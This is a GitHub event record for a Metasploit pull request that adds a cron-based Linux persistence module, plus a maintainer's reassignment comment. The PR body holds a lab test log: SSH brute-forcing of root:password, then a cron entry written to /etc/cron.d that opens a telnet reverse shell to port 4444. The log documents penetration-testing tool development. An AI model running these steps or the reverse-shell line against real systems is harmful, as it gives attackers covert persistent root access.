{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7003","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7003/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7003/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7003/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/7003","id":161333005,"number":7003,"title":"cron/crontab persistence","user":{"login":"h00die","id":752491,"avatar_url":"https://avatars.githubusercontent.com/u/752491?v=3","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false}],"milestone":null,"comments":5,"created_at":"2016-06-21T01:48:37Z","updated_at":"2016-07-13T23:36:10Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7003","html_url":"https://github.com/rapid7/metasploit-framework/pull/7003","diff_url":"https://github.com/rapid7/metasploit-framework/pull/7003.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/7003.patch"},"body":"Implements persistence through cron/crontab.\r\n\r\n## Verification\r\n\r\nList the steps needed to make sure this thing works\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] Exploit a box via whatever method\r\n```\r\n  msf > use auxiliary/scanner/ssh/ssh_login\r\n  msf auxiliary(ssh_login) > set username root\r\n  username => root\r\n  msf auxiliary(ssh_login) > set password password\r\n  password => password\r\n  msf auxiliary(ssh_login) > set rhosts 10.10.60.168\r\n  rhosts => 10.10.60.168\r\n  msf auxiliary(ssh_login) > exploit\r\n\r\n  [*] 10.10.60.168:22 SSH - Starting bruteforce\r\n  [+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '\r\n  [*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400\r\n  [*] Scanned 1 of 1 hosts (100% complete)\r\n  [*] Auxiliary module execution completed\r\n```\r\n- [ ] Do: `use exploit/linux/local/cron_persistence`\r\n- [ ] Do: `set session #`\r\n- [ ] Do: `set target #`\r\n- [ ] Do: `set verbose true`\r\n- [ ] Optional Do: `set username` (depends on target selection)\r\n- [ ] Optional Do: `set cleanup false`\r\n- [ ] Do: `exploit`\r\n- [ ] Within 90sec, enjoy your shell!\r\n- [ ] **Verify** the thing does what it should\r\n```\r\n  msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence\r\n  msf exploit(cron_persistence) > set session 1\r\n  session => 1\r\n  msf exploit(cron_persistence) > set verbose true\r\n  verbose => true\r\n  msf exploit(cron_persistence) > set target 0\r\n  target => 0\r\n  msf exploit(cron_persistence) > exploit\r\n\r\n  [*] Started reverse double handler\r\n  [*] Max line length is 65537\r\n  [*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf\r\n  [+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR\r\n  [*] Waiting 90sec for callback\r\n  [*] Accepted the first client connection...\r\n  [*] Accepted the second client connection...\r\n  [*] Command: echo xPBXQvodQdzgByKR;\r\n  [*] Writing to socket A\r\n  [*] Writing to socket B\r\n  [*] Reading from sockets...\r\n  [*] Reading from socket A\r\n  [*] A: \"xPBXQvodQdzgByKR\\r\\n\"\r\n  [*] Matching...\r\n  [*] B is input...\r\n  [*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400\r\n  [+] Deleted /etc/cron.d/FiThkldAZR\r\n```\r\n\r\n\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/232517468","html_url":"https://github.com/rapid7/metasploit-framework/pull/7003#issuecomment-232517468","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7003","id":232517468,"user":{"login":"egypt","id":287967,"avatar_url":"https://avatars.githubusercontent.com/u/287967?v=3","gravatar_id":"","url":"https://api.github.com/users/egypt","html_url":"https://github.com/egypt","followers_url":"https://api.github.com/users/egypt/followers","following_url":"https://api.github.com/users/egypt/following{/other_user}","gists_url":"https://api.github.com/users/egypt/gists{/gist_id}","starred_url":"https://api.github.com/users/egypt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/egypt/subscriptions","organizations_url":"https://api.github.com/users/egypt/orgs","repos_url":"https://api.github.com/users/egypt/repos","events_url":"https://api.github.com/users/egypt/events{/privacy}","received_events_url":"https://api.github.com/users/egypt/received_events","type":"User","site_admin":false},"created_at":"2016-07-13T23:36:10Z","updated_at":"2016-07-13T23:36:10Z","body":"Really sorry for the long delay on this. Looks like @wvu-r7 will be shepherding this PR from here on out. You're in good hands!"}}
{"actor":{"display_login":"egypt"}}